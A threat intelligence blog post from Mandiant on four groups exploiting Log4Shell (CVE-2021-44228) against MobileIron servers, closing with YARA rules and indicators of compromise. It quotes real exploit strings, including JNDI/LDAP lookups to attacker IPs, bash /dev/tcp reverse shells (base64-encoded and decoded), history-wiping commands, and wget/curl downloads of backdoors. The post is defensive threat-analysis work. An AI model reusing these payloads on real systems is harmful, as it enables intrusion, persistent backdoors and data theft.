Blog

Forged in Fire: A Survey of MobileIron Log4Shell Exploitation

Geoff Ackerman, Tufail Ahmed, James Maclachlan, Dallin Warne, John Wolfram, Brandon Wilbur Mar 28, 2022 18 mins read Threat Intelligence Advanced Persistent Threats (APTs) Uncategorized Groups (UNC Groups) Vulnerabilities Consulting Managed Defense

On December 10, 2021, the Apache Software Foundation disclosed CVE-2021-44228, aka "Log4Shell", a critical vulnerability in Apache's Log4j version 2.14.1 and earlier that affects a large number of products that utilize this logging library.

Through our Consulting and Managed Defense clients, Mandiant observed four unique applications targeted and exploited using CVE-2021-44228. One product that caught our attention in the immediate aftermath of this CVE's release was MobileIron Core; an on-premises mobile device management solution owned by Ivanti, who immediately responded to the vulnerability and proactively informed customers using the impacted products, recommending that they follow test mitigations within 24 hours. Proof-of-concept (PoC) code quickly became available to exploit the vulnerability in unpatched MobileIron systems and can be easily modified to target any organization using the product. As a result, we observed a few notable adversaries jump at the opportunity.

In this blog post, we will discuss the exploitation of MobileIron servers by four unique adversaries, providing insight into each group's operations and capabilities. While the initial exploitation of a vulnerable MobileIron server appeared the same across intrusions, our methodical clustering and delineation of post-exploitation actions unveiled some familiar adversaries and unmasked some new players that made quick use of this newly published exploit.

CVE-2021-44228 Big Picture

First let's take a step back and review Log4j targeting since CVE-2021-44228's release. Beginning the day of that initial disclosure, Mandiant observed mass scanning and exploitation attempts across a large variety of our customers. Financially motivated actors immediately jumped at the opportunity to deploy cryptominers such as XMRIG. In mass exploitation scenarios, like Log4Shell, we have found that cryptominers often drop first. While not immediate, Mandiant later observed ransomware actors exploit CVE-2021-44228 to gain their initial foothold into target environments. Groups that are widely suspected of being related to foreign intelligence entities, such as APT41, wasted no time in exploiting MobileIron servers as they were observed within a day of the announcement of the vulnerability.

The Actors

Since its initial disclosure, we have observed 22 distinct clusters of activity involved in the exploitation of CVE-2021-44228. These adversaries used a range of tools and techniques in support of varying mission objectives during the post-exploitation phase of their intrusions. Table 1 shows 12 of those clusters sorted by their assessed goals who have conducted Log4Shell-based campaigns against multiple organizations.

Table 1. Clusters conducting campaigns utilizing CVE-2021-44228

Assessed Motivation	Threat Groups	Targeted Industries
Espionage	APT41 UNC2448 UNC3500	Financial, Gov't, Higher Ed, Telecom
Financial	UNC961 UNC3007 UNC3543 UNC3569 UNC3581	Business Services, Financial, Food Services, Gov't, Healthcare, Higher Ed, Media, Retail, Transportation

	UNC3594	
	UNC3510	
Unknown	UNC3582	Business Services, Financial, Food Services, Gov't, Higher Ed, Retail, Technology, Telecom
	UNC3614	

Through all the noise of Log4j scanning, cryptominers, security testing, and intrusion activity that occurred in December 2021, the following four threat groups exploited MobileIron to conduct the most significant intrusions observed by Mandiant.

Table 2: Key groups observed exploiting MobileIron products

Threat Group	Suspected Location	Motivation	Mandiant Advantage
APT41	China	Espionage	APT41 Profile
UNC961	Unknown	Financial Gain	UNC961 Profile
UNC3500	China	Espionage	UNC3500 Profile
UNC3535	Unknown	Unknown	N/A

Mandiant uses the label “UNC” group——or “uncategorized” group——to refer to a cluster of intrusion activity that includes observable artifacts such as adversary infrastructure, tools, and tradecraft that we are not yet ready to give a formal classification to, like APT or FIN (learn more about how Mandiant tracks uncategorized threat actors).

Further details surrounding each of the aforementioned groups are provided in Table 3:

Table 3: Threat Group Details

Threat Group	Details
	APT41 Mandiant Advantage Profile

APT41 is a Chinese state-sponsored espionage group that also conducts financially motivated activity for personal gain. The group has been active since at least 2012 and has conducted espionage operations against a wide number of industries in the public and private sectors. The group has executed multiple supply chain compromises that allowed them to gain access to software companies and inject malicious code into legitimate files before distributing updates. APT41 also carried out operations against the video game industry for financially motivated intrusions as well as to steal source code and digital certificates.

Most recently, APT41 has spent considerable time and resources to conduct a long-term campaign against U.S. state government entities using web exploits to target public-facing servers. APT41’s participation in Log4Shell exploitation is a logical continuation of their past year of activity. For more details on APT41 and their persistent campaign targeting U.S. state government computer networks, see our recent blog post: “Does This Look Infected?”: A Summary of APT41 Targeting U.S. State Governments

UNC961 Mandiant Advantage Profile

Mandiant has tracked UNC961 since January 2018, with confirmed activity dating back to November 2016. UNC961 is a financially motivated group that has historically targeted organizations in the retail and business service sectors in North America. Starting in mid-2020, UNC961 expanded its targets to health care, energy, financial transactions, and high-tech organizations in North America, Northern Europe, and Western Asia. In all known activity, UNC961 has utilized web exploits to initiate their intrusions, having targeted Atlassian Confluence, ForgeRock AM, and Oracle Web Logic servers.

UNC3500 Mandiant Advantage Profile

Mandiant clustered UNC3500 in the immediate aftermath of Log4Shell's public release. Mandiant suspects UNC3500 has a China nexus and has been observed targeting entities in the education and telecommunications sectors. We confirmed overlaps between UNC3500's Log4Shell activity and a set of suspected Chinese espionage activity that Mandiant clustered in May 2021. These overlaps included the use of SoftEther VPN to maintain access to a system, specific SoftEther configuration settings, related infrastructure, and targeting overlaps.

Mandiant clustered UNC3535 in the aftermath of Log4Shell's public release. While we have not gathered enough information on UNC3535 to assess their primary motivation, UNC3535 has exfiltrated sensitive data from organizations in the transportation sector.

MobileIron Impact

In this section we walk through the MobileIron-based intrusions conducted by each of the aforementioned adversaries.

APT41

In one of the most notable intrusions, APT41 made quick use of this public exploit to target organizations, which included multiple U.S. state government entities. APT41 used CVE-2021-44228 to target at least four organizations: a telecom company based in the APJ region that is a frequent target of Chinese espionage operations, one US-based financial organization, and two state level government agencies in the U.S.

APT41 leveraged CVE-2021-44228 against vulnerable MobileIron servers to launch reverse shell payloads back to their controlled server. Using this access, APT41 executed commands on the system under the context of the user account tomcat. One example reverse shell payload is presented in Figure 1.

Figure 1: Base64-encoded reverse shell payload

```
TomcatBypass/Command/Base64/YmFzaCAtaT4mIC9kZXYvdGNwLzEwMy4yNDIuMTMzLjQ4LzgwODUgMD4mMQ==
```

The base64-encoded string decodes to the following reverse shell payload (Figure 2).

Figure 2: Decoded reverse shell payload

```
bash -i>& /dev/tcp/103.242.133[.]48/8085 0>&1
```

Mandiant also observed payloads consistent with verifying network connectivity to a threat actor-controlled host (Figure 3).

Figure 3: Payloads observed for verifying connectivity to an APT41-controlled host

```
ping -c 1 libxqagv.ns.dns3[.]cf
```

```
nslookup libxqagv.ns.dns3[.]cf
```

Approximately one hour later, Mandiant identified further exploitation attempts using sub-domains of eu[.]org to test outbound network connectivity (Figure 4).

Figure 4: Log4Shell exploit payloads leveraged by APT41 to test outbound connectivity

```
ldap:/198.13.40[.]130:1389/Basic/Dnslog/335b5282.dns.1433.eu[.]org
```

```
ldap://198.13.40[.]130:1389/Deserialization/URLDNS/335b5282.dns.1433.eu[.]org
```

After confirming outbound connectivity, APT41 used CVE-2021-44228 to execute a new reverse shell payload (Figure 5).

Figure 5: Log4Shell exploit payloads that resulted in a successful reverse shell

```
"s${jndi:ldap://198.13.40[.]130:1389/Deserialization/CommonsBeanutils1/ReverseShell/198.13.40[.]130/2222}"
```

```
"s${jndi:ldap://198.13.40[.]130:1389/Basic/ReverseShell/198.13.40[.]130/2222}"
```

Once APT41 established the reverse shell, they leveraged wget to download and stage their payload on the MobileIron server (Figure 6).

Figure 6: wget command designed to download a remotely hosted binary

```
wget http://103.224.80[.]44:8080/kernel
```

Mandiant determined the kernel file was an ELF variant of KEYPLUG, tracked now as KEYPLUG.LINUX. The threat actor configured the sample to connect to the domain microsoftfile[.]com for command and control. At the time of the activity, the domain resolved to the IP address 103.224.80[.]44. APT41 also modified the permissions of the binary to give full read/write/execute permissions to all users (Figure 7).

Figure 7: chmod command to set the binary to world readable, writable, and executable

```
chmod 777 kernel
```

Finally, APT41 took a few steps to attempt to hide their activity. They renamed the KEYPLUG.LINUX binary to .kernel to hide the file with the hidden file attribute, then leveraged the nohup utility to ensure the process remains running and ignores hangups. APT41 also leveraged the & operator to execute the binary as a background process (Figure 8).

Figure 8: The command leveraged by APT41 to execute KEYPLUG.LINUX

```
nohup ./.kernel &
```

Mandiant Managed Defense's swift detection and containment of this intrusion once again proved its worth against even the most advanced and prolific espionage actors. However, as noted in our recently released blog post on APT41's latest campaigns, the group has remained undeterred by the U.S. Department of Justice (DOJ) indictment in September 2020 and continues to operate at an ever-increasing tempo with a focus on vulnerable U.S. state

and local government networks. Mandiant expects the group to continue to evolve and develop their own attack vectors while integrating existing capabilities into their toolkit.

UNC961

UNC961 is a suspected financially motivated threat group that Mandiant has tracked since 2018. They seized the opportunity to exploit CVE-2021-44228 by targeting organizations with publicly accessible MobileIron servers. UNC961 is notable for their seemingly exclusive use of exploits against web applications for initial access.

At one target, Mandiant observed UNC961 use their CVE-2021-44228 payload to establish a reverse shell. This payload was also crafted to unset the HISTFILE environment variable to thwart forensic analysis by preventing the command line history from being written to disk.

Figure 9: Log4Shell exploit payload


```
{"connectedCloudName":"","logType":"userAction","version":1,"loggedAt":163950 1069210,"actionAt":
1639501069210,"device":null,"actor":null,"configuration":n
ull,"updatedBlob":null,"certificateDetails":null,"message":null,"spaceName":n
ull,"spacePath":null,"actionType":"USER_PORTAL_SIGN_IN","requestedAt":1639501 069210,"completedAt":
1639501069210,"reason":"Sign In Failed","status":"Failed","objectId":null,"objectType":null,"objectName":null
,"subjectId":null,"subjectType":"User Portal","subjectName":"User Portal -
10.240.191.26","subjectOwnerName":null,"requesterName":"${jnd${AvmMzY:qv:FCGW U:XTWCd:-i}:${jnd${CSQNpd:dM:-i}$
{ARhXC:-:}ldap${rt:NeMA:bbLAHm:Cku:MMHDE:- :}//107.181.187.184:389/TomcatBypass/Command/Base64/
dW5zZXQgSElTVEZJTEU7IGJhc 2ggLWkgPiYgL2Rldi90Y3AvMTA3LjE4MS4xODcuMTg0LzQyNDIgMD4mMQ==}","updateRequestI
d":null,"userInRole":null,"parentId":null,"cookie":null}
```


Figure 10 shows the deobfuscated exploit string.

Figure 10: Deobfuscated URL


```
${jndi:ldap://107.181.187.184:389/TomcatBypass/Command/Base64/dW5zZXQgSElTVE
ZJTEU7IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTA3LjE4MS4xODcuMTg0LzQyNDIgMD4mMQ==}
```


The decoded command, shown in Figure 11, removed command-line logging and executed a reverse shell payload.

Figure 11: Fully decoded command

```
unset HISTFILE; bash -i >& /dev/tcp/107.181.187.184/4242 0>&1
```

UNC961 commonly employs this anti-forensic technique in their Linux-based intrusions, either as a component of an exploit payload such as here with Log4Shell, or during the hands-on-keyboard post-exploitation phase. Following their initial foothold, they performed host-based reconnaissance, and the following day deployed their HOLEPUNCH tunneler. HOLEPUNCH is a Windows and UNIX source-compatible utility that uses SOCKS5 style commands to multiplex connections back to its command and control (C2) server.

It is worth noting that, in addition to targeting MobileIron servers, UNC961 also exploited a VMWare Horizon Server belonging to a separate victim during their Log4Shell campaign. Following the Horizon Server's exploitation, UNC961 deployed two previously unobserved backdoors: HOLEDOOR and DARKDOOR. HOLEDOOR is written in C, whereas DARKDOOR is written in Go. UNC961 used these backdoors to conduct reconnaissance in the victim environment and steal credentials for users who had previously logged in to the VMware Horizon server. Additionally, UNC961 exported the contents of the SAM, SECURITY, and SYSTEM registry hives using the built-in Windows tool reg.exe. UNC961 then exfiltrated the exported registry data to their infrastructure using the PSCP utility.

UNC3500

One day after the initial Apache announcement, UNC3500 jumped at the opportunity to target an educational institution in North America. Having successfully weaponized the Log4Shell exploit, UNC3500 launched a reverse shell on a MobileIron server. After performing some initial host reconnaissance, the adversary achieved persistence through a relatively unique method. Using the built-in curl command, UNC3500 downloaded three files, modified permissions of one, and launched another as a new process (Figure 12).

Figure 12: Commands executed by UNC3500 from their reverse shell payload

```
curl hxxp://35.189.145[.]119/hamcore.se2 > /mi/pki/mics/log/hamcore.se2
```

```
curl hxxp://35.189.145[.]119/https > /mi/pki/mics/log/https

curl hxxp://35.189.145[.]119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config

chmod a+x /mi/pki/mics/log/https

/mi/pki/mics/log/https start
```

The file's https (MD5: 00352d167c44272dba415c36867a8125) and hamcore.se2 (MD5: 9fb1191ba0064d317a883677ce568023) are components of SoftEther's VPN server bridge, PacketiX. The PacketiX VPN Bridge creates a layer 2 connection between a physical network adapter on a local system and a remote SoftEther VPN server. It requires an accompanying library file hamcore.se2 and a configuration file vpn_bridge.config. By deploying this package, UNC3500 established persistence on the compromised MobileIron server.

UNC3500 appeared to have some difficulty initially establishing their VPN. They downloaded their vpn_bridge.config file not once but four times, each with minor changes. Table 4 shows the three uniquely configured C2 servers from these files.

Table 4: Unique SoftEther VPN configurations downloaded by UNC3500

Config #1	Config #2	Config #3
45.76.98.184:53	vpn599147072.softether.net:53	45.76.98.184:443

UNC3500 had to troubleshoot their connection issues by examining VPN log files and running ping, route, and curl commands (Figure 13).

Figure 13: VPN troubleshooting steps taken by UNC3500

```
curl http://35.189.145.119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config

/mi/pki/mics/log/https start

ls /mi/pki/mics/log/

ls /mi/pki/mics/log/server_log

cat /mi/pki/mics/log/server_log/vpn_20211210.log

/mi/pki/mics/log/https stop

ping -c 2 8.8.8[.]8

route

curl http://45.76.98[.]184:33221

curl http://34.92.40[.]189:33221

curl http://34.92.40[.]189:443

curl http://34.92.40[.]189:443

ls
```

UNC3500 used the final configuration file to establish a VPN connection with a SoftEther server hosted on 45.76.98[.]184 over port 443 using a unique certificate and key combination. UNC3500 proceeded to hide their tracks by clearing the bash history using the command history −c.

Analysis of these config files identified overlaps with a prior intrusion where this group targeted an organization in the telecommunications vertical. During these prior on-host intrusions, Mandiant observed UNC3500 engage in reconnaissance activities primarily using Windows built-in commands or PSEXEC, perform credential harvesting using MODKATZ, and deploy BEHINDER and CHOPPER web shells.

UNC3535

Finally, Mandiant clustered another unique set of MobileIron exploitation activity as UNC3535. Mandiant observed UNC3535 use CVE-2021-44228 to deploy a reverse shell and use their access to harvest and exfiltrate sensitive MobileIron data.

As typical with other Log4Shell exploits, the adversary used a base64-encoded string (Figure 14).

Figure 14: Base64-encoded Log4Shell exploit payload

```
${jndi:ldap://187.109.15[.]2:9126/TomcatBypass/Command/Base64/
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTg3LjEwOS4xNS4yLzQ0MyAwPiYx}
```

The base64-encoded string in Figure 14 decodes to Figure 15.

Figure 15: Decoded reverse shell payload

```
bash -i >& /dev/tcp/187.109.15[.]2/443 0>&1
```

This command attempted to establish a bash reverse shell to the specified external server. Over the following half-hour, six connections to the IP address 187.109.15[.]2:443 were initiated.

Approximately 21 minutes after launching the first reverse shell, the adversary issued the following HTTP GET request to the MobileIron server.

Figure 16: HTTP GET request issued by UNC3535

```
GET /mifs/images/wtower_in.png HTTP/1.1" 154515764 "-" "Wget/1.20.3 (linux-gnu)
```

Initial analysis of the captured network traffic determined this file to contain approximately 154MB of data.

Ten minutes following this GET request, the threat actor modified the directory /mi/tomcat/webapps/mifs/images. At the time of analysis, no files within this directory were dated near that last modified (mtime) timestamp. This evidence is consistent with the deletion of a file, likely wtower_in.png, from the directory. Mandiant performed forensic analysis of the server disk image and found that the file was overwritten and was therefore unable to be recovered. However, Mandiant found evidence that the attacker dumped the MobileIron “MIFS” database five minutes prior to the HTTP GET request. The MIFS database contains sensitive data, including device information, password history, and other data necessary for device management.

Strings indicative of a MySQL database dump were also found in the free space of the disk image:

```
-- MySQL dump 10.13 Distrib 5.7.31, for Linux (x86_64)

--

-- Host: localhost Database:

-- ------------------------------------------------------

-- Server version 5.7...NOTES=0 */;

--

-- Current Database: `mifs`

SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2021-12-16 17:36:23
```

The speed at which this intrusion operation occurred indicates the threat actor’s existing knowledge of the MobileIron ecosystem. Swift actions to identify, archive, and stage the targeted sensitive data resulted in successful data theft.

Conclusion

The release of Log4Shell in mid-December 2021 capped off the worst year on record for the exploitation of zero-day vulnerabilities. We can only expect this trend to continue, with PoCs becoming available within mere hours of a vulnerability's disclosure, like in Log4Shell’s case, furthering the need for diligent and proactive asset and patch management.

Adversaries of every category will continue to exploit CVE-2021-44228 in unpatched systems for the foreseeable future due to Apache Log4j integration in unknown numbers of applications. Ivanti and Mandiant highly recommend organizations patch this vulnerability in their environment to protect themselves against attacks that aim to exploit this issue. Leveraging Mandiant's Attack Surface Management platform, organizations can better identify vulnerable Log4j instances in their environment.

Detections

```
rule APT_Backdoor_KEYPLUG_MultiXOR_Config

{

meta:

author = "Mandiant"

description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-delimited variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives."

strings:

// TCP

$tcp1 = "TCP://" xor(0x01-0x2E)

$tcp2 = "TCP://" xor(0x30-0xFF)

$ptcp1 = "|TCP://" xor(0x01-0x2E)

$ptcp2 = "|TCP://" xor(0x30-0xFF)

// UDP

$udp1 = "UDP://" xor(0x01-0x2E)

$udp2 = "UDP://" xor(0x30-0xFF)

$pudp1 = "|UDP://" xor(0x01-0x2E)

$pudp2 = "|UDP://" xor(0x30-0xFF)

// WSS

$wss1 = "WSS://" xor(0x01-0x2E)

$wss2 = "WSS://" xor(0x30-0x52)

$wss3 = "WSS://" xor(0x54-0xFF)

$pwss1 = "|WSS://" xor(0x01-0x2E)

$pwss2 = "|WSS://" xor(0x30-0x52)

$pwss 3 = "|WSS://" xor(0x54-0xFF)

// HTTP

$http1 = "+http" xor(0x01-0x73)

$http2 = "+http" xor(0x75-0xFF)

$phttp1 = "|+http" xor(0x01-0x73)
```

```
$phttp2 = "|+http" xor(0x75-0xFF)

// Sleep value

$zeros1 = "00|" xor(0x01-0x2F)

$zeros2 = "00|" xor(0x31-0xFF)

condition:

filesize < 10MB and

(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and

for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and

for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and

any of ($zeros*)

}

import "pe"

rule APT_Tunneler_Linux_HOLEPUNCH_1

{

meta:

author = Mandiant

strings:

$sb1 = { 83 [2] 00 [2-16] 83 [2] 00 [2-16] E8 [4-5] 89 45 [1-2] 83 [2] 00 [4-32] E8 [4] 80 [2] 00 [2-8] C7
45 ?? 00 00 00 00 [0-32] 8B [2-3] 8B [2-3] 01 [1-8] 8B [2-3] 8B [2-3] 01 [1-8] 83 [2-8] 88 [1-2] 83 [2] 01
}

$sb2 = { 89 [2] 8B [2-3] 89 [1-16] ( E8 | FF ) [4-64] ( E8 | FF ) [4-32] 3C 01 7? [4-80] 0A 00 00 00
[4-64] 0F B6 [2] 3C 02 }

condition:

(uint32(0) == 0x464c457f) and all of them

}

import "pe"

rule APT_Tunneler_Linux_HOLEPUNCH_2

{

meta:

author = Mandiant

strings:

$n1 = "\x00Can`t create new process\x00"

$ss1 = "process_data_from_tunnel" fullword

$ss2 = "chunk_put" fullword
```

```
$ss3 = "update_tunnel_descriptors" fullword

$ss4 = "SendToTunnel" fullword

$ss5 = "SendToTunnelSocks5Answer" fullword

$ss6 = "socks5_process_data" fullword

condition:

(uint32(0) == 0x464c457f) and (all of ($s*)) and not $n1

}
```

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID	Name
A102-206	Application Vulnerability - CVE-2021-44228, HTTP GET, DNS Callback via User-Agent
A102-207	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via Referer
A102-208	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via URI Path
A102-209	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via User-Agent
A102-210	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via User-Agent, Base64 Variant #1
A102-211	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via User-Agent, Environmental Variable Variant #1
A102-212	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via User-Agent, Environmental Variable Variant #2
A102-213	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via User-Agent, Obfuscated Variant #1
A102-214	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAP Callback via User-Agent, Obfuscated Variant #2
A102-215	Application Vulnerability - CVE-2021-44228, HTTP GET, LDAPS Callback via User-Agent
A102-216	Application Vulnerability - CVE-2021-44228, HTTP GET, RMI Callback via User-Agent
A102-217	Application Vulnerability - CVE-2021-44228, HTTP POST, DNS Callback via Username
A102-218	Application Vulnerability - CVE-2021-44228, HTTP POST, LDAP Callback via Username
A102-219	Application Vulnerability - CVE-2021-44228, HTTP POST, LDAPS Callback via Username
A102-220	Application Vulnerability - CVE-2021-44228, HTTP POST, RMI Callback via Username

A102-221 Application Vulnerability - CVE-2021-44228, HTTPS GET, DNS Callback via User-Agent

A102-222 Application Vulnerability - CVE-2021-44228, HTTPS GET, LDAP Callback via User-Agent

A102-223 Application Vulnerability - CVE-2021-44228, HTTPS GET, LDAPS Callback via User-Agent

A102-224 Application Vulnerability - CVE-2021-44228, HTTPS GET, RMI Callback via User-Agent

A102-225 Application Vulnerability - CVE-2021-44228, HTTPS POST, DNS Callback via Username

A102-226 Application Vulnerability - CVE-2021-44228, HTTPS POST, LDAP Callback via Username

A102-227 Application Vulnerability - CVE-2021-44228, HTTPS POST, LDAPS Callback via Username

A102-228 Application Vulnerability - CVE-2021-44228, HTTPS POST, RMI Callback via Username

S100-170 Evaluation CVE-2021-44228, log4j, Network Actions

Code Family Definitions

KEYPLUG.LINUX

KEYPLUG.LINUX is a Linux backdoor written in C++ that can communicate via TCP over UDP or via TCP. Its core functionality involves expanding its capabilities by downloading plugins from a hardcoded C2 server. Plugins are mapped directly into memory and executed.

HOLEPUNCH

HOLEPUNCH is a Windows & UNIX source-compatible tunneler utility that uses SOCKS5 style commands wrapped in a custom outer structure to multiplex connections back to its C2 server. The program may apply an XOR hardcoded value with data chunks transferred. The SOCKS5 commands received by HOLEPUNCH cause it to initiate new connections to the host or IP address specified by the operator, and then begin transferring data back & forth with the remote system.

HOLEDOOR

HOLEDOOR is a 64-bit Windows backdoor that is written in C and communicates via TCP. It is capable of spawning reverse shells that execute commands via cmd.exe. It supports some basic commands to spawn a new shell, disconnect any current running shells, or terminate an entire application.

DARKDOOR

DARKDOOR is a backdoor written in Go that is highly modular in design. It supports communication over TLS and HTTP. It has capabilities to execute arbitrary code and list running processes.

IOCs

Type	Value	APT	Malware/Tool
MD5	f4dd330ff093e69a181854eccaa2432c	UNC961	HOLERUN
MD5	31c49b87463f4e4ce6ae4c442319d3a2	UNC961	HOLEDOOR

Domain	111111.note.down-flash[.]com	APT41	Log4j Exploit
Domain	2f2640fb.dns.1433[.]eu[.]org	APT41	Log4j Exploit
Domain	335b5282.dns.1433[.]eu[.]org	APT41	Log4j Exploit
Domain	63fac511.dns.1433[.]eu[.]org	UNC3500	Log4j Exploit
Domain	d5922235.dns.1433[.]eu[.]org	APT41	Log4j Exploit
Domain	e1cc4a4b.dns.1433[.]eu[.]org	UNC3500	Log4j Exploit
Domain	microsoftfile[.]com	APT41	KEYPLUG.LINUX
IP	34.102.54[.]152	UNC961	HOLEDOOR
IP	35.189.145[.]119	UNC3500	Reverse Shell
IP	45.61.136[.]188	UNC961	Reverse Shell
IP	45.76.98[.]184	UNC3500	VPN
IP	54.237.46[.]129	UNC3535	Log4j Exploit
IP	103.224.80[.]44	APT41	KEYPLUG.LINUX
IP	103.238.225[.]37	APT41	Log4j Exploit
IP	103.242.133[.]48	APT41	KEYPLUG.LINUX
IP	107.181.187[.]184	UNC961	Log4j Exploit
IP	149.28.71[.]70	UNC961	HOLEPUNCH
IP	149.28.200[.]140	UNC961	Various
IP	154.204.58[.]135	APT41	Log4j Exploit
IP	154.204.58[.]145	APT41	Log4j Exploit
IP	162.33.178[.]149	UNC961	DARKDOOR
IP	182.239.92[.]31	APT41	Log4j Exploit
IP	185.172.129[.]215	UNC961	Webshell

IP	187.109.15[.]2	UNC3535	Reverse Shell
IP	195.149.87[.]87	UNC961	DARKDOOR
IP	203.160.86[.]92	UNC3500	Reverse Shell

Acknowledgements

All the Mandiant analysts and consultants from our Managed Defense and Incident Response teams around the world, the analysts and researchers from Advanced Practices and Mandiant Intelligence, FLARE Reverse Engineers, and everyone involved in the monumental effort undertaken during the fallout of CVE-2021-44228's disclosure.

We would also like to acknowledge Ivanti for coordinating with us on this blog's release and for their quick response to this unprecedented vulnerability.